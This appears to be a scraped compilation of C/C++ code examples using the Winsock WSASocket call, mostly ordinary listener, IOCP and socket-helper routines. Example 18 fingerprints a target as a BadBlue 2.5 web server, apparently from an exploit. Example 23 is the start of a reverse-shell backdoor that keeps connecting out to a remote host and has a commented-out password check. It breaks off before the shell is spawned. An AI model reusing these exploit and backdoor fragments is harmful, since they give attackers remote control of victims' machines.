Ejemplo n.º 1
0
void create_crt_fd(fd_set *os_set, fd_set *crt_set)
{
  int i;
  crt_set->fd_count = os_set->fd_count;
  for (i = 0; i < os_set->fd_count; i++) {
    WSAPROTOCOL_INFO wsa_pi;
    // dupicate the SOCKET
    int r = WSADuplicateSocket(os_set->fd_array[i], GetCurrentProcessId(), &wsa_pi);
    SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0);
    // create the CRT fd so ruby can get back to the SOCKET
    int fd = _open_osfhandle(s, O_RDWR|O_BINARY);
    os_set->fd_array[i] = s;
    crt_set->fd_array[i] = fd;
  }
}
Ejemplo n.º 2
0
BOOL CSocketLst::StartListen(CCustomIOCPBaseList *IOCPList, int Port, u_long InAddr /*= INADDR_ANY*/)
{
	SOCKADDR_IN InternetAddr;
	PSOCKADDR sockaddr;
	int ErrorCode;
	BOOL resu = FALSE;

	mPort = Port;
	mSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
	if (mSock == INVALID_SOCKET) {
		ErrorCode = WSAGetLastError();
		OutputDebugStr(_T("WSASocket 函数失败:%d\n"), ErrorCode);
		return resu;
	}
	InternetAddr.sin_family = AF_INET;
	InternetAddr.sin_addr.s_addr = htonl(InAddr);
	InternetAddr.sin_port = htons(Port);
	sockaddr = (PSOCKADDR)&InternetAddr;
	// 绑定端口号
	if (bind(mSock, sockaddr, sizeof(InternetAddr)) == SOCKET_ERROR) {
		ErrorCode = WSAGetLastError();
		OutputDebugStr(_T("bind 函数失败:%d\n"), ErrorCode);
		closesocket(mSock);
		WSASetLastError(ErrorCode);
		mSock = INVALID_SOCKET;
		return resu;
	}
	// 开始监听
	if (listen(mSock, SOMAXCONN) == SOCKET_ERROR) {
		ErrorCode = WSAGetLastError();
		OutputDebugStr(_T("listen 函数失败:%d\n"), ErrorCode);
		closesocket(mSock);
		WSASetLastError(ErrorCode);
		mSock = INVALID_SOCKET;
		return resu;
	}
	mOwner = IOCPList;
	// 添加到SockLst
	resu = IOCPList->AddSockBase(this);
	if (!resu) {
		ErrorCode = WSAGetLastError();
		OutputDebugStr(_T("AddSockBase 函数失败:%d\n"), ErrorCode);
		closesocket(mSock);
		WSASetLastError(ErrorCode);
		mSock = INVALID_SOCKET;
	}
	return resu;
}
Ejemplo n.º 3
0
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/// \brief 생성자
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
CAsyncPeerListener::CAsyncPeerListener(short port)
:
m_Queue(),
m_ListenSock(INVALID_SOCKET),
m_AllocCount(0)
{
	SafeGuard();

	bool success = false;

	do
	{
		m_ListenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
		if (m_ListenSock == INVALID_SOCKET)

		{
			TRACE(_T("Listen Sock Wsasocket failed"));
		}

		// ReuseAddr
		int opt = 1;
		if (setsockopt(m_ListenSock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
			break;

		if (!g_AsyncDispatcher->Associate((HANDLE)(m_ListenSock), 0))
			break;

		SOCKADDR_IN addr;
		memset(&addr, 0, sizeof(addr));
		addr.sin_addr.s_addr = htonl(INADDR_ANY);
		addr.sin_family = AF_INET;
		addr.sin_port = htons(port);

		if (bind(m_ListenSock, (SOCKADDR*)&addr, sizeof(addr)) != 0)
			break;

		if (listen(m_ListenSock, 300) != 0)
			break;

		success = true;

	} while (0);

	if (!success)
	{
		TRACE(_T("Listen Failed (Port: %a)"), port);
	}
}
Ejemplo n.º 4
0
int main(int argc, char* argv[])
{
	WSADATA wsaData;
	SOCKET hServSock, hClntSock;
	SOCKADDR_IN servAddr, clntAddr;

	HANDLE hThread;
	DWORD dwThreadId;
	int clntAddrLen;

	if (argc != 2)
		ErrorHandling("[DEBUG] 인자값 이상. port값 넣으세요");

	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
		ErrorHandling("[DEBUG]WSAStartup() Error");

	hServSock = WSASocket(PF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
	if (hServSock == INVALID_SOCKET)
		ErrorHandling("[DEBUG]WSASocket() Error");

	ZeroMemory(&servAddr, sizeof(servAddr));
	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
	servAddr.sin_port = htons(atoi(argv[1]));

	if (bind(hServSock, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("[DEBUG]bind() Error");

	if (listen(hServSock, 5) == SOCKET_ERROR)
		ErrorHandling("[DEBUG]listen() Error");

	while (1)
	{
		clntAddrLen = sizeof(clntAddr);
		hClntSock = accept(hServSock, (SOCKADDR*)&clntAddr, &clntAddrLen);
		if (hClntSock == INVALID_SOCKET)
			ErrorHandling("[DEBUG]accept() Error");

		printf("Connection Request : IP = %s, PORT = %d \n", inet_ntoa(clntAddr.sin_addr), ntohs(clntAddr.sin_port));

		hThread = (HANDLE)_beginthreadex(NULL, 0, RequestHandler, (LPVOID)hClntSock, 0, (unsigned*)&dwThreadId);
		if (hThread == INVALID_HANDLE_VALUE)
			ErrorHandling("[DEBUG]_beginthreadex() error");
	}
	closesocket(hServSock);
	WSACleanup();
	return 0;
}
Ejemplo n.º 5
0
void api_socket_init()
{
    WORD version = 0x202;
    WSADATA wsadata;
    SOCKET socket;
    DWORD dwBytes;
    GUID GuidAcceptEx = WSAID_ACCEPTEX;
    GUID GuidDisconnectEx = WSAID_DISCONNECTEX;
    GUID GuidConnectEx = WSAID_CONNECTEX;
    GUID GuidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS;
    int iResult;

    WSAStartup(version, &wsadata);

    socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,
                        NULL, 0, WSA_FLAG_OVERLAPPED);

    iResult = WSAIoctl(socket, SIO_GET_EXTENSION_FUNCTION_POINTER,
                        &GuidAcceptEx, sizeof(GuidAcceptEx),
                        &lpfnAcceptEx, sizeof(lpfnAcceptEx),
                        &dwBytes, NULL, NULL);
    if (iResult == SOCKET_ERROR)
        return;

    iResult = WSAIoctl(socket, SIO_GET_EXTENSION_FUNCTION_POINTER,
                        &GuidDisconnectEx, sizeof(GuidDisconnectEx),
                        &lpfnDisconnectEx, sizeof(lpfnDisconnectEx),
                        &dwBytes, 0, 0);
    if (iResult == SOCKET_ERROR)
        return;

    iResult = WSAIoctl(socket, SIO_GET_EXTENSION_FUNCTION_POINTER,
                        &GuidConnectEx, sizeof(GuidConnectEx),
                        &lpfnConnectEx, sizeof(lpfnConnectEx),
                        &dwBytes, 0, 0);
    if (iResult == SOCKET_ERROR)
        return;

    iResult = WSAIoctl(socket, SIO_GET_EXTENSION_FUNCTION_POINTER,
                        &GuidGetAcceptExSockaddrs,
                        sizeof(GuidGetAcceptExSockaddrs),
                        &lpfnGetAcceptExSockaddrs,
                        sizeof(lpfnGetAcceptExSockaddrs), &dwBytes, 0, 0);
    if (iResult == SOCKET_ERROR)
        return;

    closesocket(socket);
}
Ejemplo n.º 6
0
/* In order to do an async accept, we need to create a socket first which
   will be the one assigned to the new incoming connection. */
static void start_accept(server_port *port) {
  SOCKET sock = INVALID_SOCKET;
  char *message;
  char *utf8_message;
  BOOL success;
  DWORD addrlen = sizeof(struct sockaddr_in6) + 16;
  DWORD bytes_received = 0;

  sock = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0,
                   WSA_FLAG_OVERLAPPED);

  if (sock == INVALID_SOCKET) {
    message = "Unable to create socket: %s";
    goto failure;
  }

  if (!grpc_tcp_prepare_socket(sock)) {
    message = "Unable to prepare socket: %s";
    goto failure;
  }

  /* Start the "accept" asynchronously. */
  success = port->AcceptEx(port->socket->socket, sock, port->addresses, 0,
                           addrlen, addrlen, &bytes_received,
                           &port->socket->read_info.overlapped);

  /* It is possible to get an accept immediately without delay. However, we
     will still get an IOCP notification for it. So let's just ignore it. */
  if (!success) {
    int error = WSAGetLastError();
    if (error != ERROR_IO_PENDING) {
      message = "AcceptEx failed: %s";
      goto failure;
    }
  }

  /* We're ready to do the accept. Calling grpc_socket_notify_on_read may
     immediately process an accept that happened in the meantime. */
  port->new_socket = sock;
  grpc_socket_notify_on_read(port->socket, on_accept, port);
  return;

failure:
  utf8_message = gpr_format_message(WSAGetLastError());
  gpr_log(GPR_ERROR, message, utf8_message);
  gpr_free(utf8_message);
  if (sock != INVALID_SOCKET) closesocket(sock);
}
Ejemplo n.º 7
0
SOCKET createWSASocket(const SocketAddress &dest, LPFN_TRANSMITPACKETS  *transmitPackets)
{
	INT                 returnValue;
	DWORD               bytesReturned;
	GUID TransmitPacketsGuid = WSAID_TRANSMITPACKETS;

	SOCKET socket;

	// create the socket
	socket = WSASocket(dest.getFamily(), SOCK_DGRAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

	if (socket == INVALID_SOCKET) {
		fprintf(stderr, "%s:%d - WSASocket failed (%d)\n", __FILE__, __LINE__, WSAGetLastError());
		return INVALID_SOCKET;
	}

	// Connect the new socket to the destination
	returnValue = WSAConnect(socket,
		(PSOCKADDR)&dest,
		sizeof(dest),
		NULL,
		NULL,
		NULL, // TODO: Qos params?
		NULL);

	if (returnValue != NO_ERROR) {
		fprintf(stderr, "%s:%d - WSAConnect failed (%d)\n", __FILE__, __LINE__, WSAGetLastError());
		return INVALID_SOCKET;
	}

	// Query the function pointer for the TransmitPacket function
	returnValue = WSAIoctl(socket,
		SIO_GET_EXTENSION_FUNCTION_POINTER,
		&TransmitPacketsGuid,
		sizeof(GUID),
		transmitPackets,
		sizeof(PVOID),
		&bytesReturned,
		NULL,
		NULL);

	if (returnValue == SOCKET_ERROR) {
		fprintf(stderr, "%s:%d - WSAIoctl failed (%d)\n", __FILE__, __LINE__, WSAGetLastError());
		return INVALID_SOCKET;
	}

	return socket;
}
Ejemplo n.º 8
0
static VALUE rb_mysql_client_socket(VALUE self) {
    GET_CLIENT(self);
    REQUIRE_OPEN_DB(wrapper);
    int fd_set_fd = wrapper->client->net.fd;
#ifdef _WIN32
    WSAPROTOCOL_INFO wsa_pi;
    // dupicate the SOCKET from libmysql
    int r = WSADuplicateSocket(wrapper->client->net.fd, GetCurrentProcessId(), &wsa_pi);
    SOCKET s = WSASocket(wsa_pi.iAddressFamily, wsa_pi.iSocketType, wsa_pi.iProtocol, &wsa_pi, 0, 0);
    // create the CRT fd so ruby can get back to the SOCKET
    fd_set_fd = _open_osfhandle(s, O_RDWR|O_BINARY);
    return INT2NUM(fd_set_fd);
#else
    return INT2NUM(fd_set_fd);
#endif
}
Ejemplo n.º 9
0
BOOL WzUdp::CreateSocket()
{
	if( m_Socket != INVALID_SOCKET)//Season 4.5 addon
	{
		closesocket(m_Socket);
		m_Socket = -1;
	}

	m_Socket = WSASocket(AF_INET, SOCK_DGRAM, 0, NULL, 0, NULL);
    
	if( m_Socket == INVALID_SOCKET )
    {        
        return FALSE;
    }
	return TRUE;
}
Ejemplo n.º 10
0
bool test_new_thread_pool() {//success is true, failure is false
	int sockErr;

	WSADATA lpWSAData={0};
	sockErr=WSAStartup(0x202, &lpWSAData);
	sListen=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
	if(INVALID_SOCKET==sListen){
		DebugBreak();
	}
	GUID GuidDisconnectEx = WSAID_DISCONNECTEX;
	DWORD dwBytes;
	WSAIoctl(sListen, SIO_GET_EXTENSION_FUNCTION_POINTER,
             &GuidDisconnectEx, sizeof (GuidDisconnectEx), 
             &DisconnectEx, sizeof (DisconnectEx), 
             &dwBytes, NULL, NULL);
	

	InitializeThreadpoolEnvironment(&tEnvrion);
	pMainPool=CreateThreadpool(NULL);
	pCleanup=CreateThreadpoolCleanupGroup();
	SetThreadpoolCallbackCleanupGroup(&tEnvrion, pCleanup, 0);
	SetThreadpoolCallbackPool(&tEnvrion, pMainPool);

	pListen=CreateThreadpoolIo((HANDLE)sListen, acceptingIoThreadProc, 0, &tEnvrion);

	sockaddr_in service={0};
	service.sin_family=AF_INET;
	service.sin_port=htons(8080);

	sockErr=bind(sListen, (SOCKADDR *) &service, sizeof(service));
	if(SOCKET_ERROR==sockErr){
		DebugBreak();
	}
	sockErr=listen(sListen, SOMAXCONN);
	if(SOCKET_ERROR==sockErr){
		DebugBreak();
	}
	for(int i=0; i<numSockets; i++){
		ntpAddAcceptSocket(sListen);
	}
	OutputDebugString(TEXT("CloseThreadpoolCleanupGroupMembers waiting\n"));
	SleepEx(INFINITE, TRUE);
	CloseThreadpoolCleanupGroupMembers(pCleanup, FALSE, NULL);
	OutputDebugString(TEXT("CloseThreadpoolCleanupGroupMembers done\n"));
	
	return false;
}
Ejemplo n.º 11
0
bool IOCP_Manager::Initialize()
{
    SYSTEM_INFO SystemInfo;
    GetSystemInfo(&SystemInfo);
    mIoThreadCount = SystemInfo.dwNumberOfProcessors * 2;

    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
        printf_s("WSAStartup Error\n");
        return false;
    }

    mCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, NULL, mIoThreadCount);
    if (mCompletionPort == NULL)
    {
        printf_s("Create CompletionPort error\n");
        return false;
    }

    mListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, WSA_FLAG_OVERLAPPED);
    if (mListenSocket == INVALID_SOCKET)
    {
        printf_s("Create ListenSocket Error\n");
        return false;
    }

    int opt = 1;
    setsockopt(mListenSocket, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int));

    SOCKADDR_IN ServerAddr;
    int SizeServerAddr = sizeof(SOCKADDR_IN);
    memset(&ServerAddr, 0, SizeServerAddr);
    if (WSAStringToAddress(L"127.0.0.1:9001", AF_INET, NULL, (SOCKADDR*)&ServerAddr, &SizeServerAddr) == SOCKET_ERROR)
    {
        printf_s("ServerAddress Setting Error\n");
        return false;
    }

    if (bind(mListenSocket, (SOCKADDR*)&ServerAddr, SizeServerAddr) == SOCKET_ERROR)
    {
        printf_s("Bind Error\n");
        return false;
    }

    return true;
}
Ejemplo n.º 12
0
CIOCPManager::CIOCPManager(int IOCPThreadCount /*= 0*/)
{
	SOCKET TmpSock;
	GUID guidAcceptEx = WSAID_ACCEPTEX;
	GUID guidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS;
	DWORD dwBytes;
	INT i;

	OutputDebugStr(_T("IOCPManager::IOCPManager\n"));
	// 使用 2.2版的WS2_32.DLL
	if (WSAStartup(0x0202, &mwsaData) != 0) {
		throw exception("WSAStartup Fails");
	}
	// 获取AcceptEx和GetAcceptExSockaddrs的函数指针
	TmpSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
	if (TmpSock == INVALID_SOCKET) {
		throw exception("WSASocket Fails");
	}
	if (SOCKET_ERROR == WSAIoctl(TmpSock, SIO_GET_EXTENSION_FUNCTION_POINTER,
		&guidAcceptEx, sizeof(guidAcceptEx), &g_AcceptEx, sizeof(g_AcceptEx), &dwBytes, NULL, NULL)) {
		throw exception("WSAIoctl WSAID_ACCEPTEX Fails");
	}
	if (SOCKET_ERROR == WSAIoctl(TmpSock, SIO_GET_EXTENSION_FUNCTION_POINTER,
		&guidGetAcceptExSockaddrs, sizeof(guidGetAcceptExSockaddrs), &g_GetAcceptExSockaddrs, sizeof(g_GetAcceptExSockaddrs), &dwBytes, NULL, NULL)) {
		throw exception("WSAIoctl WSAID_GETACCEPTEXSOCKADDRS Fails");
	}
	closesocket(TmpSock);
	// 初始化临界区
	InitializeCriticalSection(&mSockListCS);
	InitializeCriticalSection(&mOverLappedListCS);
	// 初始化IOCP完成端口
	mCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);
	if (IOCPThreadCount <= 0) {
		SYSTEM_INFO SysInfo;
		GetSystemInfo(&SysInfo);
		IOCPThreadCount = SysInfo.dwNumberOfProcessors + 2;
	}
	mIocpWorkThreadCount = IOCPThreadCount;
	mIocpWorkThreads = new HANDLE[mIocpWorkThreadCount];
	// 创建IOCP工作线程
	for (i = 0; i < mIocpWorkThreadCount; i++) {
		mIocpWorkThreads[i] = (HANDLE)_beginthreadex(NULL, 0, IocpWorkThread, (PVOID)mCompletionPort, 0, NULL);
		if (mIocpWorkThreads[i] == NULL) {
			throw exception("CreateThread FIocpWorkThreads Fails");
		}
	}
}
Ejemplo n.º 13
0
bool CFtpSocket::create( unsigned short port, char* ip )
{
	assert( m_Sock == INVALID_SOCKET );
	// 建立套结字
	m_Sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP,
		NULL, 0, WSA_FLAG_OVERLAPPED );
	if( INVALID_SOCKET == m_Sock )
	{
		//CLogger::getInst()<<_T("建立侦听端口失败!错误号:")
		//	<< WSAGetLastError()<<_T("\n");
		uninit();
		return false;
	}

	m_InternetAddr.sin_family	= AF_INET;
	m_InternetAddr.sin_port		= htons( port );
	if( (ip != NULL) && (ip[0] != 0 )  )
		m_InternetAddr.sin_addr.s_addr	= inet_addr( ip );
	else
		m_InternetAddr.sin_addr.s_addr	= htonl( INADDR_ANY );

	// 绑定端口

	int ret;
	ret = bind( m_Sock, (const sockaddr*)&m_InternetAddr, sizeof( m_InternetAddr ) );
	if( SOCKET_ERROR == ret )
	{
		//CLogger::getInst()<<_T("绑定侦听端口失败!错误号:")
		//	<< WSAGetLastError()<<_T(" \n");
		uninit();
		return false;
	}

	int opt = 1;
	setsockopt( m_Sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(int) );
	// 开始侦听
	ret = listen( m_Sock, 5 );
	if( SOCKET_ERROR == ret )
	{
		//CLogger::getInst()<<_T("侦听端口失败!错误号:")
		//	<< WSAGetLastError()<<_T(" \n");
		uninit();
		return false;
	}
	return true;
}
Ejemplo n.º 14
0
SOCKET s_socket(int domain, int type, int protocol, int nonblock, char *msg) {
    SOCKET fd;

#ifdef USE_NEW_LINUX_API
    if(nonblock)
        type|=SOCK_NONBLOCK;
    type|=SOCK_CLOEXEC;
#endif
#ifdef USE_WIN32
    /* http://stackoverflow.com/questions/4993119 */
    /* CreateProcess() needs a non-overlapped handle */
    fd=WSASocket(domain, type, protocol, NULL, 0, 0);
#else /* USE_WIN32 */
    fd=socket(domain, type, protocol);
#endif /* USE_WIN32 */
    return setup_fd(fd, nonblock, msg);
}
Ejemplo n.º 15
0
T_SOCKET		_socket(int family, std::string const &proto)
{
	int			type;
	int			protocol;

	if (!proto.compare("TCP"))
	{
		type = SOCK_STREAM;
		protocol = IPPROTO_TCP;
	}
	else
	{
		type = SOCK_DGRAM;
		protocol = IPPROTO_UDP;
	}
	return (WSASocket(family, type, protocol, NULL, NULL, NULL));
}
Ejemplo n.º 16
0
Archivo: net.c Proyecto: qyqx/Gauche
ScmObj Scm_MakeSocket(int domain, int type, int protocol)
{
    intptr_t sock;
#if GAUCHE_WINDOWS
    /* On Windows, sockets created by socket() call sets
       WSA_FLAG_OVERLAPPED flag.  When used in threads other than
       primordial thread, I/O to/from such socket fails, since it
       requires extra OVERLAPPED struct in win32 call (which can't
       be done with POSIX calls).   Directly using WSASocket allows
       us to not set WSA_FLAG_OVERLAPPED flag. */
    SCM_SYSCALL(sock, WSASocket(domain, type, protocol, NULL, 0, 0));
#else  /*!GAUCHE_WINDOWS*/
    SCM_SYSCALL(sock, socket(domain, type, protocol));
#endif /*!GAUCHE_WINDOWS*/
    if (SOCKET_INVALID(sock)) Scm_SysError("couldn't create socket");
    return SCM_OBJ(make_socket((Socket)sock, type));
}
Ejemplo n.º 17
0
bool LoadIocpExFuncs()
{
	SOCKET tmpsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);

	if (false == LoadWsafunc_AccpetEx(tmpsock))
	{
		return false;
	}

	if (false == LoadWsafunc_ConnectEx(tmpsock))
	{
		return false;
	}

	closesocket(tmpsock);
	return true;
}
Ejemplo n.º 18
0
int CheckHeader(SOCKET s,struct  sockaddr_in sa) { // Server: BadBlue/2.5 
   timeval  tiempo;
   fd_set   fdset;

   int      leido;         // Bytes leidos en el recv
   char     buffer[1024];  // Buffer de lectura con el recv
   char     version[11];
   int      retorno=0;

    
   if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
      printf("\n [e] Error: socket():%d\n", WSAGetLastError()); 
      return(1); 
   }
   if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
      printf("\n [e] Error: connect()"); 
      return(1); 
   }

   send(s,GETHEADER,strlen(GETHEADER),0);

   tiempo.tv_sec=TIMEOUT;                  // TimeOut del Select
   tiempo.tv_usec=0;
   FD_ZERO( &fdset );                      // Inicializa FDSet a NULL
   FD_SET( s, &fdset );                    // Añade el descriptor AcceptedSocket a FDSet
   if ((select( s + 1 , &fdset , NULL , NULL , &tiempo )) >0) {
      if (FD_ISSET(s,(fd_set FAR *)&fdset)) {   // True si ConnectSocket esta en FDSet
         memset(&buffer, 0, sizeof(buffer));
         if ((leido=recv( s,buffer,sizeof(buffer),0 )) > 0) {
            if (leido > 42) {
               strncpy(version,buffer+32,strlen(VALIDSERVER));
               printf("\n [i] Server    : %s",version);
               if (strncmp(version,VALIDSERVER,strlen(VALIDSERVER))!=0) retorno=1;
            }
            else retorno=1;
         }
         else {
            printf("\n [e] Server    : Unknown");
            retorno=1;
         } 
      } 
   }
    
   closesocket(s);
   return(retorno);
}
Ejemplo n.º 19
0
/*
 * Create new socket/endpoint for communication and returns a descriptor.
 */
PJ_DEF(pj_status_t) pj_sock_socket(int af, 
				   int type, 
				   int proto,
				   pj_sock_t *sock)
{
    PJ_CHECK_STACK();

    /* Sanity checks. */
    PJ_ASSERT_RETURN(sock!=NULL, PJ_EINVAL);
    PJ_ASSERT_RETURN((unsigned)PJ_INVALID_SOCKET==INVALID_SOCKET, 
                     (*sock=PJ_INVALID_SOCKET, PJ_EINVAL));

    *sock = WSASocket(af, type, proto, NULL, 0, WSA_FLAG_OVERLAPPED);

    if (*sock == PJ_INVALID_SOCKET) 
	return PJ_RETURN_OS_ERROR(pj_get_native_netos_error());
    
#if PJ_SOCK_DISABLE_WSAECONNRESET && \
    (!defined(PJ_WIN32_WINCE) || PJ_WIN32_WINCE==0)

#ifndef SIO_UDP_CONNRESET
    #define SIO_UDP_CONNRESET _WSAIOW(IOC_VENDOR,12)
#endif

    /* Disable WSAECONNRESET for UDP.
     * See https://trac.pjsip.org/repos/ticket/1197
     */
    if (type==PJ_SOCK_DGRAM) {
	DWORD dwBytesReturned = 0;
	BOOL bNewBehavior = FALSE;
	DWORD rc;

	rc = WSAIoctl(*sock, SIO_UDP_CONNRESET,
		      &bNewBehavior, sizeof(bNewBehavior),
		      NULL, 0, &dwBytesReturned,
		      NULL, NULL);

	if (rc==SOCKET_ERROR) {
	    // Ignored..
	}
    }
#endif

    return PJ_SUCCESS;
}
Ejemplo n.º 20
0
static void start_accept(server_port *port) {
  SOCKET sock = INVALID_SOCKET;
  char *message;
  char *utf8_message;
  BOOL success;
  DWORD addrlen = sizeof(struct sockaddr_in6) + 16;
  DWORD bytes_received = 0;

  sock = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0,
                   WSA_FLAG_OVERLAPPED);

  if (sock == INVALID_SOCKET) {
    message = "Unable to create socket: %s";
    goto failure;
  }

  if (!grpc_tcp_prepare_socket(sock)) {
    message = "Unable to prepare socket: %s";
    goto failure;
  }

  success = port->AcceptEx(port->socket->socket, sock, port->addresses, 0,
                           addrlen, addrlen, &bytes_received,
                           &port->socket->read_info.overlapped);

  if (success) {
    gpr_log(GPR_DEBUG, "accepted immediately - but we still go to sleep");
  } else {
    int error = WSAGetLastError();
    if (error != ERROR_IO_PENDING) {
      message = "AcceptEx failed: %s";
      goto failure;
    }
  }

  port->new_socket = sock;
  grpc_socket_notify_on_read(port->socket, on_accept, port);
  return;

failure:
  utf8_message = gpr_format_message(WSAGetLastError());
  gpr_log(GPR_ERROR, message, utf8_message);
  gpr_free(utf8_message);
  if (sock != INVALID_SOCKET) closesocket(sock);
}
void main(int argc,char**argv){
	WSADATA wsaData;
	SOCKET sock;
	SOCKADDR_IN sendAddr;

	WSABUF dataBuf;
	char msg[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
	int sendBytes=0;
	WSAEVENT eventObject;
	WSAOVERLAPPED overlapped;

	if(argc!=3){
		printf("Usage : %s <IP> <PORT> \n",argv[0]);
		exit(1);
	}

	if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0) ErrorHandling("WSAStartup error");

	sock=WSASocket(PF_INET,SOCK_STREAM,0,NULL,0,WSA_FLAG_OVERLAPPED);
	memset(&sendAddr,0,sizeof(sendAddr));
	sendAddr.sin_family=AF_INET;
	sendAddr.sin_port=htons(atoi(argv[2]));
	sendAddr.sin_addr.s_addr=inet_addr(argv[1]);

	if(connect(sock,(SOCKADDR*)&sendAddr,sizeof(sendAddr))==SOCKET_ERROR) ErrorHandling("connect error");

	eventObject=WSACreateEvent();
	memset(&overlapped,0,sizeof(overlapped));
	dataBuf.len=strlen(msg)+1;
	dataBuf.buf=msg;

	if(WSASend(sock,&dataBuf,1,&sendBytes,0,&overlapped,NULL)==SOCKET_ERROR){
		if(WSAGetLastError()==WSA_IO_PENDING){ //전송할 데이터가 남아 있는 상태
			puts("Background data send");
			WSAWaitForMultipleEvents(1,&eventObject,TRUE,WSA_INFINITE,FALSE);
			WSAGetOverlappedResult(sock,&overlapped,&sendBytes,FALSE,NULL);
		}
		else ErrorHandling("WSASend error");
	}

	printf("Send data size : %d \n",sendBytes);
	WSACloseEvent(eventObject);
	closesocket(sock);
	WSACleanup();
}
Ejemplo n.º 22
0
// Function: EnumerateATMAddresses()
// Description: Enumerate all ATM interfaces and print their addresses
void EnumerateATMAddresses_atm(WSAPROTOCOL_INFO *lpProtocol)
{
    SOCKET             s;
    SOCKADDR_ATM       atm_addr;
    char               szAddress[MAX_ATM_ADDR_LEN];
    DWORD              dwNumInterfaces, dwAddrLen=MAX_ATM_ADDR_LEN, i;
 
    s = WSASocket(FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, FROM_PROTOCOL_INFO, lpProtocol, 0, WSA_FLAG_OVERLAPPED);
    if (s == INVALID_SOCKET)
    {
        printf("WSASocket() failed with error code %d\n", WSAGetLastError());
        return;
    }
    else
        printf("WSASocket() is OK!\n");
 
    dwNumInterfaces = GetNumATMInterfaces_atm(s);
 
    for(i=0; i < dwNumInterfaces ;i++)
    {
		ZeroMemory((PVOID)&atm_addr, sizeof(SOCKADDR_ATM));
		ZeroMemory((PVOID)szAddress, MAX_ATM_ADDR_LEN);

		if (GetATMAddress_atm(s, i, &atm_addr.satm_number) == FALSE)
		{
			printf("GetATMAddress() failed!\n");
			break;
		}

		atm_addr.satm_family                 = AF_ATM;
		atm_addr.satm_number.AddressType     = ATM_NSAP;
		atm_addr.satm_number.NumofDigits     = ATM_ADDR_SIZE;
		atm_addr.satm_blli.Layer2Protocol    = SAP_FIELD_ANY;
		atm_addr.satm_blli.Layer3Protocol    = SAP_FIELD_ABSENT;
		atm_addr.satm_bhli.HighLayerInfoType = SAP_FIELD_ABSENT;
		if (WSAAddressToString((LPSOCKADDR)&atm_addr, sizeof(atm_addr),lpProtocol, (LPWSTR)szAddress, &dwAddrLen))
		{
			printf("WSAAddressToString() failed with error code %d\n", WSAGetLastError());
			break;
		}
		printf("ATM ADDRESS <%d>: '%s'\n", i, szAddress);
    }
    closesocket(s);
    return;
}
Ejemplo n.º 23
0
//Main Reverse Shell
int ReverseShell(char *szHostName,short shortPort)
{
    while(TRUE)
    {
               WSAStartup(MAKEWORD(2,2), &wsaData);//Socket Startup
               sockMain=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);//Create The Socket
			   retVal=SOCKET_ERROR;
			   
			   while(retVal ==SOCKET_ERROR)
			   {
				   hostAddr=gethostbyname(szHostName);
				   if(hostAddr !=NULL)
				   {
					   szIp=inet_ntoa(*(struct in_addr *)*hostAddr->h_addr_list);
					   sockMain_In.sin_port=htons(shortPort);
                       sockMain_In.sin_family=AF_INET;
				       sockMain_In.sin_addr.s_addr=inet_addr(szIp);
	                }
	                retVal=WSAConnect(sockMain,(SOCKADDR*)&sockMain_In,sizeof(sockMain_In),NULL,NULL,NULL,NULL);
			   }
			   //Test MagicKey
			   //send(sockMain,"Enter the Magic Word = ",strlen("Enter the Magic Word = "),0);
               //nChar=recv(sockMain,szMagic,MAX_PATH,0);chop(szMagic);
               //szMagic[nChar]='\0';
               //if (strcmp(szMagic,magicKey)!=0)
               //goto cleanup;
               //Confirm Shell
